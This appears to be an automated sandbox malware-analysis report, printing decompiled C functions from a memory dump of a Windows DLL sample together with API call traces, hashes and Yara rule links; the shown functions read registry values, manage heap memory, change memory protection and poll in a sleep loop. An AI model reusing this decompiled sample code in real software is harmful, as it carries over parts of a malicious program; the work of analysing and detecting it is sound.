				_v8 = _v8 & 0x00000000;
				_t3 = _t15 + 0x33dba60; // 0x4f0053
				_v16 = 4;
				_t31 = E033D4C7C(__ecx, _t3);
				if(_t31 != 0) {
					_t19 =  *0x33da2d0; // 0x266d5a8
					_t5 = _t19 + 0x33dbabc; // 0x6e0049
					_t34 = E033D4C7C(__ecx, _t5);
					if(_t34 != 0) {
						_t24 = RegOpenKeyExW(0x80000002, _t31, 0, 0x20119,  &_v12); // executed
						if(_t24 == 0) {
							_t29 = RegQueryValueExW(_v12, _t34, 0,  &_v20,  &_v8,  &_v16); // executed
							if(_t29 != 0) {
								_v8 = _v8 & 0x00000000;
							}
							RegCloseKey(_v12);
						}
						E033D2A03(_t34);
					}
					E033D2A03(_t31);
				}
				return _v8;
			}

0x033d77a4
0x033d77a9
0x033d77ae
0x033d77b5
0x033d77c1
0x033d77c5
0x033d77c7
0x033d77cd
0x033d77d9
0x033d77dd
0x033d77f0
0x033d77f8
0x033d780c
0x033d7814
0x033d7816
0x033d7816
0x033d781d
0x033d781d
0x033d7824
0x033d7824
0x033d782a
0x033d782f
0x033d7835

APIs

Part of subcall function 033D4C7C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,033D77C1,004F0053,00000000,?), ref: 033D4C85
Part of subcall function 033D4C7C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,033D77C1,004F0053,00000000,?), ref: 033D4CAF
Part of subcall function 033D4C7C: memset.NTDLL ref: 033D4CC3

RegOpenKeyExW.KERNELBASE(80000002,00000000,00000000,00020119,00000000,006E0049,?,004F0053,00000000,?), ref: 033D77F0
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000004,00000000,00000004), ref: 033D780C
RegCloseKey.ADVAPI32(00000000), ref: 033D781D

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseOpenQueryValuelstrlenmemcpymemset
String ID:
API String ID: 830012212-0
Opcode ID: 7458a8288dda2d3d8ddda5ea1ac998fd3ad4f24329228f592e1039497e289af3
Instruction ID: 789c9a2a7634c4b66f8fab78495ac938318f43ddd4ec7373fb4209fba48d3a56
Opcode Fuzzy Hash: 7458a8288dda2d3d8ddda5ea1ac998fd3ad4f24329228f592e1039497e289af3
Instruction Fuzzy Hash: B0116D77900209BBDB11EFE9FDC9FAEB7BCAB04301F144059A601E7055EB749A14CB60

Uniqueness

Uniqueness Score: -1.00%

Function 033D1896, Relevance: 3.8, APIs: 3, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D1896(void* __edx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* __ebx;
				void* _t24;
				intOrPtr _t27;
				void* _t35;
				signed char* _t46;
				void* _t52;
				int _t54;
				void* _t56;
				void* _t57;
				void* _t58;

				_t52 = __edx;
				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t54 = ( *_t46 & 0x000000ff) + 0x110;
				_v12 = 0x110;
				_t24 = E033D5C4E(_t54);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0x33da320, 0x110);
					_t27 =  *0x33da324; // 0x0
					_t58 = _t57 + 0xc;
					if(_t27 != 0) {
						E033D75D7(_t46, _a4, 0x110, _t27, 0);
					}
					if(E033D4581( &_v36) != 0) {
						_t35 = E033D35A1(0x110, 0,  &_v36, _a4,  &_v20,  &_v12); // executed
						if(_t35 == 0) {
							_t56 = _v20;
							_v36 =  *_t46;
							_v16 = E033D421A(_t56, _a8, _t52, _t46, _a12);
							 *(_t56 + 4) = _v36;
							_t20 =  &(_t46[4]); // 0x8b4875fc
							memset(_t56, 0, _v12 - ( *_t20 & 0xf));
							_t58 = _t58 + 0xc;
							E033D2A03(_t56);
						}
					}
					memset(_a4, 0, _t54);
					E033D2A03(_a4);
				}
				return _v16;
			}

0x033d1896
0x033d189c
0x033d18a1
0x033d18ae
0x033d18b1
0x033d18b4
0x033d18bb
0x033d18be
0x033d18cc
0x033d18d1
0x033d18d6
0x033d18db
0x033d18e6
0x033d18e6
0x033d18f5
0x033d190a
0x033d1911
0x033d1918
0x033d191e
0x033d192c
0x033d1932
0x033d1935
0x033d1942
0x033d1947
0x033d194b
0x033d194b
0x033d1911
0x033d1956
0x033d1961
0x033d1961
0x033d196d

APIs

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

memcpy.NTDLL(00000000,00000110,033D1C1F,033D1C1F,?,?,033D1C1F,?,?,033D24E4,?), ref: 033D18CC
memset.NTDLL ref: 033D1942
memset.NTDLL ref: 033D1956

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$AllocateHeapmemcpy
String ID:
API String ID: 1529149438-0
Opcode ID: d24a2a0be43d0fd1bc5beda07770d2b4f167425b146a5f1f58f706405ef9d5ed
Instruction ID: af1317c2656db188588c9f52f4b8863de903a2d3acb23fecf55c9fbec63802b7
Opcode Fuzzy Hash: d24a2a0be43d0fd1bc5beda07770d2b4f167425b146a5f1f58f706405ef9d5ed
Instruction Fuzzy Hash: 21211D76E00218ABDB11EFA5EC90FAEBBBDAF09250F044415F905EA254DB34DA148BA1

Uniqueness

Uniqueness Score: -1.00%

Function 033D7471, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E033D7471(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E033D344C(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x33da2d0; // 0x266d5a8
						_t20 = _t68 + 0x33db1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E033D2986(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x033d7477
0x033d747a
0x033d748a
0x033d7493
0x033d7497
0x033d7565
0x033d756b
0x033d756b
0x033d74b1
0x033d74b6
0x033d74ba
0x033d74c0
0x033d74c5
0x033d74cc
0x033d74db
0x033d74db
0x033d74df
0x033d74e1
0x033d74ed
0x033d74f8
0x033d7503
0x033d7507
0x033d7511
0x033d7515
0x033d7517
0x033d751c
0x033d7523
0x033d7533
0x033d7533
0x033d751c
0x033d7515
0x033d7535
0x033d753a
0x033d753f
0x033d753f
0x033d7545
0x033d754b
0x033d7550
0x033d7550
0x033d7555
0x033d755a
0x033d755a
0x033d7555
0x033d74df
0x033d755c
0x033d7562
0x00000000

APIs

Part of subcall function 033D344C: SysAllocString.OLEAUT32(80000002), ref: 033D34A3
Part of subcall function 033D344C: SysFreeString.OLEAUT32(00000000), ref: 033D3508

SysFreeString.OLEAUT32(?), ref: 033D7550
SysFreeString.OLEAUT32(033D20DE), ref: 033D755A

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: d14942e4ae7f39d9675115ce609c2241cc9fc44de737872a92912099164d9201
Instruction ID: 305a9f04e9d0e447d9bcba32f7f32348e9b8b1e39aef05a71e257d6f342b3909
Opcode Fuzzy Hash: d14942e4ae7f39d9675115ce609c2241cc9fc44de737872a92912099164d9201
Instruction Fuzzy Hash: 21314876900119AFCB11DF69ECC8C9BBB7AFFC97407154658F8169B210D631ED91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 033D5EC8, Relevance: 3.0, APIs: 2, Instructions: 49
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E033D5EC8(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				void* _t15;
				void* _t21;
				void* _t23;
				void* _t24;
				signed short* _t25;

				_t23 = __edx;
				_t24 = E033D33FA(0, _a12);
				if(_t24 == 0) {
					_t21 = 8;
				} else {
					_t25 = _t24 + _a16 * 2;
					 *_t25 =  *_t25 & 0x00000000; // executed
					_t15 = E033D1A6B(__ecx, _a4, _a8, _t24); // executed
					_t21 = _t15;
					if(_t21 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_push( &_v12);
						 *_t25 = 0x5f;
						_t21 = E033D5C15(_t23, 8, _a4, 0x80000001, _a8, _t24);
					}
					HeapFree( *0x33da290, 0, _t24);
				}
				return _t21;
			}

0x033d5ec8
0x033d5edb
0x033d5edf
0x033d5f39
0x033d5ee1
0x033d5ee8
0x033d5eee
0x033d5ef2
0x033d5ef7
0x033d5efb
0x033d5f01
0x033d5f0a
0x033d5f0f
0x033d5f24
0x033d5f24
0x033d5f2f
0x033d5f2f
0x033d5f40

APIs

Part of subcall function 033D33FA: lstrlen.KERNEL32(?,033DA380,75187FC0,00000000,033D2788,?,?,?,?,?,033D3EAC,?), ref: 033D3403
Part of subcall function 033D33FA: mbstowcs.NTDLL ref: 033D342A
Part of subcall function 033D33FA: memset.NTDLL ref: 033D343C

GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,75145520,00000000,00000008,00000014,004F0053,05A4932C), ref: 033D5F01
HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,75145520,00000000,00000008,00000014,004F0053,05A4932C), ref: 033D5F2F

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
String ID:
API String ID: 1500278894-0
Opcode ID: 58b6926eebc419bcf47a764755ba5107e15a4e314e5338c2f9be0305c8d20eac
Instruction ID: a8dd09692050446e051f30d1f5d4bfc181526652013d63e6969e39b8f6bde7c9
Opcode Fuzzy Hash: 58b6926eebc419bcf47a764755ba5107e15a4e314e5338c2f9be0305c8d20eac
Instruction Fuzzy Hash: CC01BC3761020ABBEB21AFA4BC84F8A7BBDFB84704F004025FA009E040EB71D924CB50

Uniqueness

Uniqueness Score: -1.00%

Function 033D41D0, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				signed int _t11;
				void* _t13;

				_t13 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x33da294) == 0) {
						E033D1547();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x33da294) == 1) {
						_t10 = E033D4430(_t11, _a4); // executed
						if(_t10 != 0) {
							_t13 = 0;
						}
					}
				}
				return _t13;
			}

0x033d41d7
0x033d41d8
0x033d41db
0x033d420d
0x033d420f
0x033d420f
0x033d41dd
0x033d41de
0x033d41f3
0x033d41fa
0x033d41fc
0x033d41fc
0x033d41fa
0x033d41de
0x033d4217

APIs

InterlockedIncrement.KERNEL32(033DA294), ref: 033D41E5

Part of subcall function 033D4430: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001), ref: 033D4445

InterlockedDecrement.KERNEL32(033DA294), ref: 033D4205

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 59e5a0d94d99d1dab462cbcf3a33271707037feee4ac340b4fa7f0736614c359
Instruction ID: 8115620b4f0c724ba6cd7cf0abcb75022cf5e34d05f39b57dafbc09c5324ddc0
Opcode Fuzzy Hash: 59e5a0d94d99d1dab462cbcf3a33271707037feee4ac340b4fa7f0736614c359
Instruction Fuzzy Hash: 95E086376C42225BC621E677BCC8B9EA658AF01F84F084014F4C9E5059DE34C4A5C6F1

Uniqueness

Uniqueness Score: -1.00%

Function 033D4BFF, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E033D4BFF(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x33da2d0; // 0x266d5a8
				_t4 = _t15 + 0x33db394; // 0x5a4893c
				_t20 = _t4;
				_t6 = _t15 + 0x33db124; // 0x650047
				_t17 = E033D7471(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E033D4C7C(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x033d4c09
0x033d4c0b
0x033d4c12
0x033d4c13
0x033d4c14
0x033d4c15
0x033d4c1b
0x033d4c20
0x033d4c20
0x033d4c2a
0x033d4c3c
0x033d4c43
0x033d4c72
0x033d4c45
0x033d4c4a
0x033d4c6f
0x033d4c4c
0x033d4c4f
0x033d4c56
0x033d4c61
0x033d4c58
0x033d4c5b
0x033d4c5b
0x033d4c65
0x033d4c65
0x033d4c4a
0x033d4c79

APIs

Part of subcall function 033D7471: SysFreeString.OLEAUT32(?), ref: 033D7550

Part of subcall function 033D4C7C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,033D77C1,004F0053,00000000,?), ref: 033D4C85
Part of subcall function 033D4C7C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,033D77C1,004F0053,00000000,?), ref: 033D4CAF
Part of subcall function 033D4C7C: memset.NTDLL ref: 033D4CC3

SysFreeString.OLEAUT32(00000000), ref: 033D4C65

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 504287e5c5b0265f79c6cb35843abd0b414dde452c7a8e6fc084c4fd89a17c88
Instruction ID: 0551a17e703518079b9ec7e9737fd28d0a1f3312ccfa327ef1b3f0d873c6fd97
Opcode Fuzzy Hash: 504287e5c5b0265f79c6cb35843abd0b414dde452c7a8e6fc084c4fd89a17c88
Instruction Fuzzy Hash: AB01B172500029BFCF11EF95ED84DAEBBB8FB44700F004515EA41E7060D7709A11C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD62C29, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(000000FF,?,00000040,6DE7DC5C), ref: 6DD62C44

Memory Dump Source

Source File: 00000004.00000002.507411430.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: be8e9b0dc4229239b672e098db032ca29002652ddb6ae8c18aa00849592b0f66
Instruction ID: 78b2c65222e54830ebd3fe059a4efcf01af994f8ee01e47e0064f6a79a43e566
Opcode Fuzzy Hash: be8e9b0dc4229239b672e098db032ca29002652ddb6ae8c18aa00849592b0f66
Instruction Fuzzy Hash: 81F0E53614C2E06FEF066F784864AA03FBC9717111B1434C6F5AC86293C314A44DEF69

Uniqueness

Uniqueness Score: -1.00%

Function 6DD68501, Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,6DD639BC,?), ref: 6DD68516

Memory Dump Source

Source File: 00000004.00000002.507411430.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: ce6849403c686b2cbd23fffc8502cbf7d3221fc6137d5c408e9a187393855e25
Instruction ID: 31f6d2503c3fc9e034b2e24bed0ae1b583f11f5f230bc4e0fb542f8d075f310a
Opcode Fuzzy Hash: ce6849403c686b2cbd23fffc8502cbf7d3221fc6137d5c408e9a187393855e25
Instruction Fuzzy Hash: 4ED05E7A5983869AEB00EEB15808B663BFCE387395F008436F80CC6180FB74D540CA40

Uniqueness

Uniqueness Score: -1.00%

Function 033D7B76, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D7B76() {

				E033D7C36(0x33d9364, 0x33da154); // executed
				goto __eax;
			}

0x033d7b6d
0x033d7b74

APIs

___delayLoadHelper2@8.DELAYIMP ref: 033D7B6D

Part of subcall function 033D7C36: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 033D7CAF

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionHelper2@8LoadRaise___delay
String ID:
API String ID: 123106877-0
Opcode ID: d5ae4fa8b170bd776e939cbd85d785cefc3498354bca59b18b1542181a8554d8
Instruction ID: 7138e12606c47b67e3eb5e227950baa5c6a2345e4c9d748a9764aa8c02e190ec
Opcode Fuzzy Hash: d5ae4fa8b170bd776e939cbd85d785cefc3498354bca59b18b1542181a8554d8
Instruction Fuzzy Hash: 4CB012CBE68205AC7268E6147FC6E3E031CC5C0910320800AF000CD740D5440C090031

Uniqueness

Uniqueness Score: -1.00%

Function 033D7B5B, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D7B5B() {

				E033D7C36(0x33d9364, 0x33da144); // executed
				goto __eax;
			}

0x033d7b6d
0x033d7b74

APIs

___delayLoadHelper2@8.DELAYIMP ref: 033D7B6D

Part of subcall function 033D7C36: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 033D7CAF

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionHelper2@8LoadRaise___delay
String ID:
API String ID: 123106877-0
Opcode ID: 16738f72880b601a0c38a4a4a1d86be092106aaf40699bbe7fc242ccc056bef6
Instruction ID: 5bbe8373c2d511f3576cd0b2a00d9ec9dd02fbf2a1ca796b5911841cf3538922
Opcode Fuzzy Hash: 16738f72880b601a0c38a4a4a1d86be092106aaf40699bbe7fc242ccc056bef6
Instruction Fuzzy Hash: A1B012DBE68205BD7228E6247FCAD3E030CC5C0910320400AF000DC540E5840D010031

Uniqueness

Uniqueness Score: -1.00%

Function 033D2A03, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D2A03(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x33da290, 0, _a4); // executed
				return _t2;
			}

0x033d2a0f
0x033d2a15

APIs

RtlFreeHeap.NTDLL(00000000,00000000,033D4072,00000000,?,?,00000000,?,?,?,?,?,?,033D44AE,00000000), ref: 033D2A0F

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9d7e50d854b06f32d5b860b97ec42422487dbc18d2df4aa3d8f09600f562b6c2
Instruction ID: def684e826eb89937861984ef41a39f7187d23f9de6f842adbf0c60aa633b1fd
Opcode Fuzzy Hash: 9d7e50d854b06f32d5b860b97ec42422487dbc18d2df4aa3d8f09600f562b6c2
Instruction Fuzzy Hash: 9AB01275049100EBCF027B00FE48F057B26B750B00F018010B208400A883320430EB14

Uniqueness

Uniqueness Score: -1.00%

Function 033D5C4E, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D5C4E(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x33da290, 0, _a4); // executed
				return _t2;
			}

0x033d5c5a
0x033d5c60

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f99d71ddb99f16728204dd5ad2ca13b5a95c37166b0d4b2584a545ddd2464cf2
Instruction ID: 8f6b6769a7781d38c8aa7683cbcc042676a740f2c820a0450e60c69254ac1b8f
Opcode Fuzzy Hash: f99d71ddb99f16728204dd5ad2ca13b5a95c37166b0d4b2584a545ddd2464cf2
Instruction Fuzzy Hash: 4CB01279449100ABCA026B00FE44F097B26B754B00F004010B20884068C3320430EB05

Uniqueness

Uniqueness Score: -1.00%

Function 033D30AD, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D30AD(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E033D4BFF(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E033D5419(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x33da290, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x033d30b5
0x033d310a
0x033d310f
0x033d30b7
0x033d30d1
0x033d30d5
0x033d30da
0x033d30dc
0x033d30ec
0x033d30f8
0x033d30de
0x033d30de
0x033d30e1
0x033d30e6
0x033d30e6
0x033d30dc
0x033d30d5
0x033d3115

APIs

Part of subcall function 033D5419: RegQueryValueExW.ADVAPI32(80000002,?,00000000,00000000,00000000,65696C43,?,033D2115,3D033D90,80000002,033D7319,00000000,033D7319,?,65696C43,80000002), ref: 033D545B
Part of subcall function 033D5419: RegQueryValueExW.ADVAPI32(80000002,?,00000000,00000000,00000000,65696C43,65696C43,?,033D2115,3D033D90,80000002,033D7319,00000000,033D7319,?,65696C43), ref: 033D5480
Part of subcall function 033D5419: RegCloseKey.ADVAPI32(80000002,?,033D2115,3D033D90,80000002,033D7319,00000000,033D7319,?,65696C43,80000002,00000000,?), ref: 033D54B0

HeapFree.KERNEL32(00000000,?,00000000,80000002,7519F710,?,?,7519F710,00000000,?,033D4A79,?,004F0053,05A49338,00000000,?), ref: 033D30F8

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: QueryValue$CloseFreeHeap
String ID:
API String ID: 2109406458-0
Opcode ID: 6f91c5d16131f74953b9ef63362e0ac934e974bca4bb3df64dbe807cd96e8ed7
Instruction ID: 7294cafc263d8744bfa147e4e00c08a5ec65b4e79bb8a3771821cd26a9d0a7a8
Opcode Fuzzy Hash: 6f91c5d16131f74953b9ef63362e0ac934e974bca4bb3df64dbe807cd96e8ed7
Instruction Fuzzy Hash: B101FF37240249EBCF12EF45EC81FAA7B69EB44360F148429FA198A150D7319934D751

Uniqueness

Uniqueness Score: -1.00%

Function 033D5872, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E033D5872(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x033d5872
0x033d587f
0x033d5880
0x033d5881
0x033d5888
0x033d58b6
0x033d58b7
0x033d58ba
0x033d58c0
0x00000000
0x00000000
0x033d589f
0x033d58a9
0x033d58b0
0x00000000
